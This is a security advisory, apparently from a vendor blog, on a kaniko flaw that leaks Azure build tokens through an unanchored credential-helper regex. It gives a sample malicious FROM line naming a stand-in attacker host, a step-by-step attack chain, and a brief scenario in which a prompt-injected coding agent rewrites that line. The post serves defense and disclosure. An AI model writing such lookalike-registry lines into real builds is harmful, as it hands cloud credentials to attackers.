kaniko, the tool many teams use to build container images inside CI and Kubernetes without a Docker daemon, had a flaw in versions before 1.25.20 that can hand the build's Microsoft Entra ID (Azure AD) access token to a server an attacker controls. A Dockerfile line such as FROM x.azurecr.io.attacker.com/img is enough. The build needs no RUN step and never has to push. The fix is to rebuild your kaniko executor from 1.25.20 or later, or to strip Azure identity from builds you do not control.
This is a CVE with no AI product in its name. We cover it because coding agents increasingly write and edit Dockerfiles, and the CI runners that build those files often hold cloud identity. That is the combination this bug needs. The sections below cover the mechanism, who is affected, the fix, and what to check.
TL;DR
| Question | Answer |
|---|---|
| Am I affected? | You are if you run kaniko before 1.25.20 on Dockerfiles or build arguments you don't fully control, and the build can obtain an Azure identity |
| How bad is it? | CVSS 3.1 score 9.3 (Critical), per the issue filed against the upstream helper |
| Is there a fix? | Yes. kaniko 1.25.20 (PR #495) ships a patched helper in-tree |
| Is it exploited in the wild? | We found no report of exploitation. Check your own logs |
| Does data leave my machine? | The token leaves your build environment, sent to the host named in the FROM line |
| Do I need ACR? | No. The helper is consulted for any registry without configured credentials, other than Google or Amazon ECR |
What happened
The bug sits in github.com/chrismellard/docker-credential-acr-env, a Docker credential helper that kaniko links into its executor and warmer. According to the issue filed upstream, the helper decides whether a host is an Azure Container Registry using a regular expression (acrRE) that is not anchored. Any hostname that merely contains azurecr.io passes, so evil.azurecr.io.attacker.com counts as ACR. The issue says the pattern has been unanchored since it was introduced, covering every release up to v0.7.0 and the master branch, and that the upstream project has been unmaintained since 2023.
The kaniko team's fix, PR #495 in the chainguard-forks/kaniko repository, was merged on October 26, 2026 and shipped in release v1.25.20 under the title "Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module". The release notes name only the Go vulnerability ID; the mechanism comes from the PR and the upstream issue. The CVE record is CVE-2026-105769.
The attack chain, step by step
- The attacker influences a build input. They control a Dockerfile, a pull request that edits one, a build argument that fills the
FROMline, or aCOPY --from=<image>reference. The base image points at a lookalike host such asx.azurecr.io.attacker.com. - kaniko looks for credentials. For a registry that has no entry in the Docker config and is not Google or Amazon ECR, kaniko consults its built-in ACR helper. This happens before it contacts the registry at all, so the attacker's server does not need to send an authentication challenge.
- The helper accepts the host. The unanchored regex matches the lookalike name.
- The helper obtains a token. Depending on the environment, the Azure identity comes from service principal variables, a federated workload identity token, or a managed identity through the instance metadata service. The upstream issue notes this is an Azure AD-derived token that is not scoped to ACR, so it may work against other Azure services.
- The token is sent out. The issue reports the helper posts it to the host's
/oauth2/exchangeendpoint, both as a Bearer header and as a form field. The attacker now holds a live token for as long as it is valid.
The issue also notes that the helper can be reached through credsStore in Docker or Podman, and through pkg/authn/k8schain in go-containerregistry before v0.21.6, so other tools that load the helper deserve a look too.
Why it matters beyond kaniko
The pattern is a familiar one: a credential helper decides where to send a secret using a string match on a hostname. A loose match turns "authenticate to my registry" into "authenticate to whoever the Dockerfile names." Any tool that resolves image references and attaches ambient cloud credentials has the same shape of risk. We have written about the same family of problem in an agent context, for example the MCP TypeScript SDK flaw that sent OAuth credentials to a decoy authorization server.
Who is affected
You should assume exposure if all of these hold:
- You run kaniko (chainguard-forks/kaniko) before 1.25.20, or any build of its executor, warmer or standalone
docker-credential-acr-envbinary made before the fix. - The Dockerfile content, build arguments or
--fromimage names can be influenced by someone you do not fully trust: a contributor's pull request, a customer-supplied build, a generated file. - The build environment can reach an Azure identity:
AZURE_CLIENT_ID,AZURE_CLIENT_SECRETandAZURE_TENANT_ID; a federated token such as AKS workload identity; or a managed identity via the instance metadata service.
A setting where config.json sets "credsStore": "acr-env" widens this, since the standalone binary is then consulted for every registry.
What the attacker gets
The upstream issue says the token is not ACR-scoped and may work against other Azure services, so an attacker holding it can act with the build identity's permissions for the token's lifetime. If that identity can push to your registries, a poisoned image there is how a leaked build token becomes a supply chain incident.
How to fix it
The repository publishes no prebuilt binaries, so there is nothing to pip install. Rebuild from source:
# Go module consumers
go get github.com/chainguard-dev/[email protected]
go mod tidy
# Confirm what your image was built from
go version -m ./executor | grep -i kaniko
Then rebuild and redeploy your executor image, the warmer, and the docker-credential-acr-env binary if you ship it separately. The fix, per PR #495, replaces the upstream module with a patched in-tree copy under third_party/docker-credential-acr-env. Host matching now requires exactly host[:port] with no userinfo, path, query or encoded forms, a port between 1 and 65535, and a hostname of mcr.microsoft.com or a label-aware match for *.azurecr.{io,cn,de,us}. Rejected hosts return "credentials not found" without any token request. The PR also has a build step that fails the image if the shipped binary is not the patched copy.
If you cannot upgrade today
- Remove Azure credentials and federated tokens from builds you do not control, and block the instance metadata address (
169.254.169.254) from build pods, so there is no identity for the helper to turn into a token. - Avoid a global
"credsStore": "acr-env"; list your real registries explicitly instead.
These are our own hardening suggestions, not vendor-documented workarounds. Treat them as stopgaps, not a substitute for the upgrade.
What this means if you run AI coding agents
Coding agents write Dockerfiles, CI workflows and build scripts, and they often open the pull requests that trigger builds. That gives this bug three realistic routes into your pipeline:
- Agent-authored Dockerfiles. An agent that follows an instruction hidden in a README, issue or fetched page can change a
FROMline. The change looks like a base image bump in review. - Build arguments. If an agent or script fills
FROM ${BASE}from an input, the attacker only needs to control that variable. - Shared runners. If the machine that runs your agent also hosts kaniko builds with a managed identity, a leaked token has reach beyond the one build.
Checks worth doing now:
- Find every place kaniko runs:
grep -r "gcr.io/kaniko-project\|chainguard-dev/kaniko\|executor" .github .gitlab-ci.yml Jenkinsfile k8sand the cluster itself, including images you pinned by digest long ago. - List Dockerfiles changed in the last few weeks where a
FROMorCOPY --fromhost contains.azurecr.followed by anything other than your own registry's suffix. A hostname likeyourname.azurecr.io.something.comis the signature. - Review Entra ID sign-in logs and Azure activity logs for the window in which untrusted builds ran, looking for ACR pushes, role-assignment changes, and key or secret listings from the build identity.
- Treat any token issued to a build identity during untrusted builds as exposed. Rotating a secret does not revoke an already-issued token, so shorten lifetimes where you can and rotate secrets the identity could read through Azure Resource Manager, such as storage account keys.
- Give build identities the least privilege possible, and avoid giving a build
AcrPushunless it must push.
For the broader pattern of what to rotate after a credential leak, our first 24 hours after a vendor breach runbook covers rotation order and monitoring. For CI systems with a similar blast radius, see the GitLab CI regex RCE exploited in the wild, and for catching known-vulnerable dependencies on every build, see checking dependencies against known CVEs in CI. The month's other incidents are collected in the November 2026 attacks timeline.
What Beam can and cannot do here
Beam does not scan container builds or watch kaniko. It runs on the developer machine alongside the agent, and its documented scope is what the agent does: it can flag risky commands and credential exposure in agent actions, and for Claude Code and Codex, a workspace policy in enforce mode can deny a PreToolUse call. That could help in one narrow place: if an agent edits a Dockerfile or runs a command that prints or exports cloud credentials, Beam can surface it for review. It is hook-based and heuristic, not a kernel sandbox, and it cannot see inside a remote CI runner or a Kubernetes pod. The fix for this CVE is the kaniko upgrade. See how Beam works and what it watches.
Frequently asked questions
What is CVE-2026-105769?
A critical (CVSS 9.3) flaw in the Azure Container Registry credential helper that kaniko links in. It treats any hostname containing .azurecr.io (and the .cn, .de, .us variants) as ACR, so a base image on a lookalike host receives the build's Azure access token.
Which kaniko versions are affected and which is fixed?
Releases of chainguard-forks/kaniko before 1.25.20 are affected. Version 1.25.20 carries a patched copy of the helper in-tree. The repository publishes no binaries, so you must rebuild your executor image from 1.25.20 or later.
Do I have to use Azure Container Registry to be hit?
No. kaniko consults the built-in helper for any registry without credentials in the Docker config that is not Google or Amazon ECR. What matters is whether the build environment can obtain an Azure identity and whether someone else controls a Dockerfile or build argument.
What should I do if untrusted builds ran with an Azure identity?
Treat tokens issued to that identity during those builds as exposed. Tokens stay valid until they expire, so review Entra ID sign-in and Azure activity logs for ACR pushes, role-assignment changes and secret listings, and rotate secrets the identity could read.
Does this affect AI coding agents?
Not directly. It matters when agent-generated or agent-edited Dockerfiles are built on a runner holding cloud identity, because the agent or a prompt injection can then choose the FROM line.
Related reading
- MCP TypeScript SDK OAuth credential leak (CVE-2026-104850)
- First 24 hours after a vendor breach: rotation and monitoring runbook
- GitLab CVE-2026-97229 exploited: CI/CD regex RCE
- Check dependencies for known CVEs in CI
Details reflect the upstream issue, the kaniko pull request and release notes as of November 5, 2026, and may change as the project and CVE record are updated. Beam is a local prototype; check current docs for its capabilities.

